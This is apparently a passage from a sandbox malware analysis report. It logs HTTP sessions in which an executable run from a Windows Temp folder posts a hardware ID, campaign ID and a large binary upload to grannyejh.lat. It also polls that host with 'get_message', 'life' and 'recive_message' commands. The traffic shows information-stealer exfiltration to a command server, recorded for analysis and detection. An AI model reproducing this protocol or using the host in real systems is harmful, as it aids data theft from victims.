                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SEK%2FVCZ7nMJuGbBsumKTxhmp5i8o4bsgr1yqjJKbO54T1yJxQePdINm9LQmB8qy0BIFCqMBU1FaFiiaFA1T%2BPUZOGau9SE1fw1TSP2h%2B0m8Vh91ZEIQzL4ksuix5CNmF"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432bb9097d438d-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1789&rtt_var=681&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2247&delivery_rate=1593886&cwnd=225&unsent_bytes=0&cid=85e01eadf4fc57d2&ts=870&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:39 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:10:39 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            30192.168.2.550106172.67.179.1094432292C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:41 UTC270OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=POKR5CIAJ
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 29519
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:41 UTC15331OUTData Raw: 2d 2d 50 4f 4b 52 35 43 49 41 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 4f 4b 52 35 43 49 41 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 4f 4b 52 35 43 49 41 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 50 4f 4b 52 35 43 49 41 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70
                                                                                                                                                                                                                                                            Data Ascii: --POKR5CIAJContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--POKR5CIAJContent-Disposition: form-data; name="pid"1--POKR5CIAJContent-Disposition: form-data; name="lid"PsFKDg--pablo--POKR5CIAJContent-Disp
                                                                                                                                                                                                                                                            2024-12-19 00:10:41 UTC14188OUTData Raw: 50 51 4b c2 da c6 6e f9 6d 37 3e ba 07 00 b9 05 ae d7 ff 18 35 e6 4f bc 17 8e 45 0f d6 01 a0 4b 3f 94 36 b8 fd e4 f8 0f 56 d3 cd b0 aa 2c 9e 69 9f 3c 30 65 fc da 99 98 67 d6 0e ab 01 57 a8 02 5c b2 72 fa 6f b6 8b 13 60 23 e0 52 ff 5c be b1 7c f8 39 50 9b 91 c4 64 4f 7a da a5 48 a6 f2 13 7a ff 2d 6d e5 a3 21 ea e3 81 af 6c 1b c9 b0 ee 55 5d 6c 2d db 7e f1 e2 41 b1 15 5d 10 5b 91 fd c6 e9 02 fb e4 47 49 d7 e3 a6 24 cc 4c 5b ba d2 84 c8 39 72 0e d2 2e c7 91 74 33 43 5d 72 82 d2 f6 be 01 ec 07 3b 22 ae eb a6 0f cd bf 2b 82 d4 fa 1e 05 5f 0a 7c 03 d4 78 e1 e6 14 e6 bf 35 a6 cb 03 6d fc 84 44 af cf 09 fa 6f 6d 3b cf c3 df 7a 2f 15 6f 5e 8a 52 eb 8f 3d 5a b5 1b 48 4d 79 64 30 cc 8f f2 84 31 cb 5f 31 6d fe 58 5d 72 1b 54 9a b4 da cf af 82 84 7b 17 55 3b cb 03 b6
                                                                                                                                                                                                                                                            Data Ascii: PQKnm7>5OEK?6V,i<0egW\ro`#R\|9PdOzHz-m!lU]l-~A][GI$L[9r.t3C]r;"+_|x5mDom;z/o^R=ZHMyd01_1mX]rT{U;
                                                                                                                                                                                                                                                            2024-12-19 00:10:42 UTC1127INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:42 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=arm9uevvko2erj729tcr1ung4c; expires=Sun, 13 Apr 2025 17:57:21 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rkk691DPXTbKPxLiiI%2FSZtRi79yYHgPP3zaLcbYt68KxIzw9k%2BT0gnoD97Zid6JBxHqKxdwJB6aAmu%2FbU9W%2FgpRlPCd22jTlcda7a1w%2BS9JhGpCrIh%2BkVvH6XOxxTESC"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432bcafbf94271-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1603&rtt_var=608&sent=22&recv=36&lost=0&retrans=0&sent_bytes=2829&recv_bytes=30491&delivery_rate=1789215&cwnd=252&unsent_bytes=0&cid=17e70e26474cd353&ts=908&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:42 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:10:42 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            31192.168.2.550110172.67.179.1094432292C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:43 UTC261OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 82
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:43 UTC82OUTData Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45
                                                                                                                                                                                                                                                            Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=9B23A9306BAD098FAC8923850305D13E
                                                                                                                                                                                                                                                            2024-12-19 00:10:44 UTC1117INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:44 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=j7067ncectqeldk2o5u6v06jk1; expires=Sun, 13 Apr 2025 17:57:23 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4aFCHIBQ3LAyRUbTMVODvF5a3lM2l4gJ4zDLqrhvfkPCzcsHv%2BUDchSy62z2W9pgnwYrgjWMPm7x4eFkXAx%2BpNtFV8Fzygl%2BwPipf4juXEH9uy295gEoIGJ59qJFVZcR"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432bd91d21efa3-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1842&min_rtt=1841&rtt_var=693&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=979&delivery_rate=1574973&cwnd=114&unsent_bytes=0&cid=2143ae78ea78b3a2&ts=836&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:44 UTC214INData Raw: 64 30 0d 0a 68 5a 79 42 6a 6b 44 75 55 4e 55 79 57 42 56 62 32 4f 51 4a 61 49 58 48 79 61 7a 35 49 34 77 4f 6b 65 4b 31 74 64 4c 78 46 61 2f 65 35 36 50 37 59 74 52 79 76 55 59 73 5a 57 47 45 79 31 56 48 74 50 2f 38 67 73 73 53 75 53 43 67 30 34 61 62 34 38 64 4a 67 4f 72 36 35 39 4a 76 69 6a 57 7a 48 44 31 74 50 76 72 49 4b 77 37 78 35 66 4f 63 31 51 48 70 4c 4b 76 53 79 4a 6d 70 30 32 43 4e 76 37 37 70 2b 6a 53 65 61 6f 6b 64 42 44 70 71 34 4e 45 6e 57 72 54 79 35 35 33 49 45 4b 49 2f 70 37 36 61 78 71 61 55 64 4d 4c 5a 73 2f 50 76 4c 6f 6f 2f 75 42 77 39 62 54 37 36 79 43 73 4f 38 65 58 7a 6e 4e 55 42 36 53 79 72 30 73 6a 6f 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: d0hZyBjkDuUNUyWBVb2OQJaIXHyaz5I4wOkeK1tdLxFa/e56P7YtRyvUYsZWGEy1VHtP/8gssSuSCg04ab48dJgOr659JvijWzHD1tPvrIKw7x5fOc1QHpLKvSyJmp02CNv77p+jSeaokdBDpq4NEnWrTy553IEKI/p76axqaUdMLZs/PvLoo/uBw9bT76yCsO8eXznNUB6Syr0sjo
                                                                                                                                                                                                                                                            2024-12-19 00:10:44 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                            32192.168.2.550181172.67.179.109443
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:11:16 UTC260OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 8
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:11:16 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                            Data Ascii: act=life
                                                                                                                                                                                                                                                            2024-12-19 00:11:17 UTC1115INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:11:17 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=v950k6iri7qe9ji2c0b6po5kb2; expires=Sun, 13 Apr 2025 17:57:56 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8pBBE%2Bfd6mPIUhu4GWeBKwqpyV3UNxKuAepzNhXnovebBQpoBMkcCYCIGq5Fjorlh62OKvAo8HIEXZIeGr2qJjZpsjtjm1ncSmY8d6Gn8oa6%2B0Ops7ikm7nqlX6giEjG"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432ca60e3b8cc0-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1834&min_rtt=1826&rtt_var=702&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1540084&cwnd=222&unsent_bytes=0&cid=c958942d779de960&ts=816&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:11:17 UTC7INData Raw: 32 0d 0a 6f 6b 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 2ok
                                                                                                                                                                                                                                                            2024-12-19 00:11:17 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                            33192.168.2.550184172.67.179.109443
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:11:18 UTC261OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 52
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:11:18 UTC52OUTData Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 26 6a 3d
                                                                                                                                                                                                                                                            Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--6989783370&j=
                                                                                                                                                                                                                                                            2024-12-19 00:11:19 UTC1117INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:11:19 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=l7fj4o2b251rh2lb5hku4lsf3d; expires=Sun, 13 Apr 2025 17:57:58 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i26f5GXnkFjvJoZNRQaCisN6c%2Flya4YLozkdZ%2Bz3jQhGsI5DdoNsbxxFGr83YQZMQ1TTKMWMHoOlIKjZ4ixCf7XkcVPWMpeiq9oqaaLPePTnNWdt4w5yDY%2Bvi9EGCDn9"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432cb2bfe6efa3-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1852&min_rtt=1830&rtt_var=702&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=949&delivery_rate=1595628&cwnd=114&unsent_bytes=0&cid=7c2f2a87ce35f7fe&ts=839&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:11:19 UTC252INData Raw: 34 36 61 0d 0a 37 4d 69 71 50 31 61 78 31 58 71 59 63 70 75 56 52 34 4f 6e 53 6c 30 78 39 47 44 73 68 48 45 56 35 34 5a 76 39 71 77 2f 59 59 36 58 36 74 77 64 62 49 58 35 57 4f 73 58 75 61 38 7a 38 64 49 76 63 52 4f 56 42 4d 36 2b 46 33 53 4c 39 51 72 61 6a 6b 6b 4d 72 4e 61 75 79 31 4d 6c 31 50 6c 59 2f 51 71 35 72 78 7a 34 68 53 38 7a 45 38 35 43 69 65 34 54 64 49 76 6b 44 70 33 44 54 77 33 74 68 4b 54 4e 56 7a 50 53 73 52 76 30 48 2f 37 77 49 75 4c 4e 4a 44 52 63 6e 41 33 4f 71 46 4e 77 6e 61 52 56 31 4f 46 61 46 65 2b 68 71 64 6c 55 64 4d 7a 35 41 62 6f 58 39 62 64 39 6f 63 59 76 50 31 32 53 42 49 66 73 47 58 32 44 35 51 75 63 33 46 59 48 35 6f 53 71 7a 6c 59 35 32 36 55 57 2f 68 6a 31 39 69 6a 69 68 57 5a 2f 56 49 35 43 31 71 5a 41 52 59 62
                                                                                                                                                                                                                                                            Data Ascii: 46a7MiqP1ax1XqYcpuVR4OnSl0x9GDshHEV54Zv9qw/YY6X6twdbIX5WOsXua8z8dIvcROVBM6+F3SL9QrajkkMrNauy1Ml1PlY/Qq5rxz4hS8zE85Cie4TdIvkDp3DTw3thKTNVzPSsRv0H/7wIuLNJDRcnA3OqFNwnaRV1OFaFe+hqdlUdMz5AboX9bd9ocYvP12SBIfsGX2D5Quc3FYH5oSqzlY526UW/hj19ijihWZ/VI5C1qZARYb
                                                                                                                                                                                                                                                            2024-12-19 00:11:19 UTC885INData Raw: 31 48 49 48 44 54 51 57 73 6b 65 54 52 48 54 50 66 39 30 43 36 47 50 58 35 49 4f 4c 4b 4c 7a 35 54 68 41 32 4f 35 52 74 2f 67 65 34 43 6d 38 46 54 43 65 75 47 6f 38 39 53 4d 39 75 78 46 2f 6c 51 74 37 63 69 2b 59 56 77 66 33 4f 47 41 59 33 79 48 6d 62 46 2b 30 4f 4e 6a 6c 6f 50 72 4e 62 71 7a 6c 4d 31 33 72 63 4b 38 68 76 79 38 6a 66 71 7a 43 55 79 55 35 73 49 67 65 55 54 63 49 2f 75 41 70 37 4b 55 41 37 71 6a 71 71 49 45 33 54 55 72 31 69 69 55 4e 72 79 4e 65 62 4a 50 6e 31 70 31 68 33 41 2f 31 4e 77 69 61 52 56 31 4d 5a 59 41 4f 2b 46 70 63 74 56 50 38 47 33 43 76 77 64 2f 4f 55 6a 35 4d 73 69 50 45 47 63 44 49 6a 6c 47 6e 79 4d 34 51 71 51 6a 68 4e 44 36 35 62 71 6b 42 30 56 33 72 77 55 38 41 66 35 74 7a 71 76 33 47 67 34 58 39 5a 61 7a 75 49 53 63 34
                                                                                                                                                                                                                                                            Data Ascii: 1HIHDTQWskeTRHTPf90C6GPX5IOLKLz5ThA2O5Rt/ge4Cm8FTCeuGo89SM9uxF/lQt7ci+YVwf3OGAY3yHmbF+0ONjloPrNbqzlM13rcK8hvy8jfqzCUyU5sIgeUTcI/uAp7KUA7qjqqIE3TUr1iiUNryNebJPn1p1h3A/1NwiaRV1MZYAO+FpctVP8G3Cvwd/OUj5MsiPEGcDIjlGnyM4QqQjhND65bqkB0V3rwU8Af5tzqv3Gg4X9ZazuISc4
                                                                                                                                                                                                                                                            2024-12-19 00:11:19 UTC1369INData Raw: 34 34 62 32 0d 0a 73 78 58 5a 45 55 7a 76 6c 64 62 73 58 6a 41 64 53 57 48 51 7a 6a 67 61 4c 49 58 44 44 65 73 78 6e 33 48 50 44 30 4b 65 33 4e 4a 54 4e 58 6d 51 71 47 35 52 74 6c 69 2b 6f 4c 6b 73 35 59 51 36 4c 4f 72 64 41 64 62 4a 4f 54 46 75 30 45 38 72 55 51 34 73 73 6d 4f 45 58 57 48 63 44 2f 55 33 43 4a 70 46 58 55 77 46 41 49 34 49 6d 6a 79 56 34 30 32 62 6b 58 38 42 6a 78 39 79 6a 67 7a 69 41 35 58 70 30 4e 67 65 45 62 64 49 6e 68 41 4a 65 4f 45 30 50 72 6c 75 71 51 48 52 48 64 74 41 6e 72 55 73 7a 30 4b 2b 2f 43 50 6e 39 4d 32 42 76 4f 34 52 38 33 33 61 51 48 6b 38 6c 5a 44 75 61 4e 72 73 78 51 4f 39 71 2b 45 65 67 61 39 66 6b 33 37 4d 38 74 4d 56 2b 54 44 59 37 6e 45 6e 6d 50 37 30 33 61 6a 6c 6f 62 72 4e 62 71 35 31 41 6b 77 62 30 54 36 31 4c
                                                                                                                                                                                                                                                            Data Ascii: 44b2sxXZEUzvldbsXjAdSWHQzjgaLIXDDesxn3HPD0Ke3NJTNXmQqG5Rtli+oLks5YQ6LOrdAdbJOTFu0E8rUQ4ssmOEXWHcD/U3CJpFXUwFAI4ImjyV402bkX8Bjx9yjgziA5Xp0NgeEbdInhAJeOE0PrluqQHRHdtAnrUsz0K+/CPn9M2BvO4R833aQHk8lZDuaNrsxQO9q+Eega9fk37M8tMV+TDY7nEnmP703ajlobrNbq51Akwb0T61L
                                                                                                                                                                                                                                                            2024-12-19 00:11:19 UTC1369INData Raw: 59 56 77 66 33 79 56 46 49 53 6d 44 44 6d 63 70 41 71 59 6a 67 56 44 35 6f 4b 75 79 31 45 39 33 37 6f 5a 2f 68 66 30 38 79 58 6e 77 79 30 2b 57 4a 34 4f 67 65 77 66 63 34 6e 74 43 35 6a 4e 58 67 57 73 77 4f 72 50 52 58 53 4c 39 7a 6e 33 47 2f 58 33 4a 76 44 43 61 48 45 54 6d 41 53 4f 70 6b 74 68 6c 66 4d 4b 69 34 42 45 51 2b 75 43 36 70 41 64 50 73 47 79 46 76 34 61 2f 50 4d 70 36 38 55 74 4c 56 75 51 42 59 4c 75 46 6e 69 44 34 51 43 54 78 56 34 52 2f 6f 32 75 78 6c 46 30 6e 66 63 66 34 6c 43 68 74 77 44 32 78 6a 67 35 55 4e 59 64 77 50 39 54 63 49 6d 6b 56 64 54 4f 55 77 2f 6e 69 61 48 44 57 54 44 54 75 68 50 30 48 76 44 37 4c 65 33 43 4f 6a 4a 57 6e 67 69 48 34 78 39 36 68 76 59 4f 6c 59 34 54 51 2b 75 57 36 70 41 64 45 2b 43 41 4f 37 6f 50 74 2b 35 6c
                                                                                                                                                                                                                                                            Data Ascii: YVwf3yVFISmDDmcpAqYjgVD5oKuy1E937oZ/hf08yXnwy0+WJ4Ogewfc4ntC5jNXgWswOrPRXSL9zn3G/X3JvDCaHETmASOpkthlfMKi4BEQ+uC6pAdPsGyFv4a/PMp68UtLVuQBYLuFniD4QCTxV4R/o2uxlF0nfcf4lChtwD2xjg5UNYdwP9TcImkVdTOUw/niaHDWTDTuhP0HvD7Le3COjJWngiH4x96hvYOlY4TQ+uW6pAdE+CAO7oPt+5l
                                                                                                                                                                                                                                                            2024-12-19 00:11:19 UTC1369INData Raw: 63 54 75 67 47 42 37 56 4e 6f 79 2f 31 4e 6b 38 49 64 57 36 79 4a 6f 73 42 54 4e 39 57 38 46 50 59 52 38 50 45 67 36 63 49 6e 4f 46 71 52 41 6f 6a 30 46 48 71 4d 35 41 61 64 78 46 6b 43 35 38 37 6b 69 46 6f 73 6b 2b 39 59 79 42 66 76 35 79 61 68 32 6d 59 6d 45 35 45 4f 7a 72 35 54 65 70 66 6c 43 49 62 4b 55 67 6a 2b 68 61 7a 49 57 43 62 55 75 78 4c 31 45 2f 48 36 4a 75 6e 58 4b 44 4a 54 68 42 43 49 37 52 30 33 79 36 51 4b 6a 49 34 46 51 39 32 5a 6f 59 68 43 65 73 72 33 48 2f 5a 51 6f 62 63 6d 36 38 67 6d 4c 56 65 51 43 59 33 6f 47 33 4b 4e 34 41 65 5a 77 56 59 4a 35 59 61 71 78 31 67 38 32 4c 45 57 2b 78 62 31 2b 6d 57 76 68 53 38 6e 45 38 35 43 71 66 77 65 63 5a 4c 31 4f 4a 50 4f 44 45 50 7a 77 4c 4f 49 57 6a 69 54 37 31 6a 33 48 50 50 36 49 4f 58 4e 4c
                                                                                                                                                                                                                                                            Data Ascii: cTugGB7VNoy/1Nk8IdW6yJosBTN9W8FPYR8PEg6cInOFqRAoj0FHqM5AadxFkC587kiFosk+9YyBfv5yah2mYmE5EOzr5TepflCIbKUgj+hazIWCbUuxL1E/H6JunXKDJThBCI7R03y6QKjI4FQ92ZoYhCesr3H/ZQobcm68gmLVeQCY3oG3KN4AeZwVYJ5Yaqx1g82LEW+xb1+mWvhS8nE85CqfwecZL1OJPODEPzwLOIWjiT71j3HPP6IOXNL
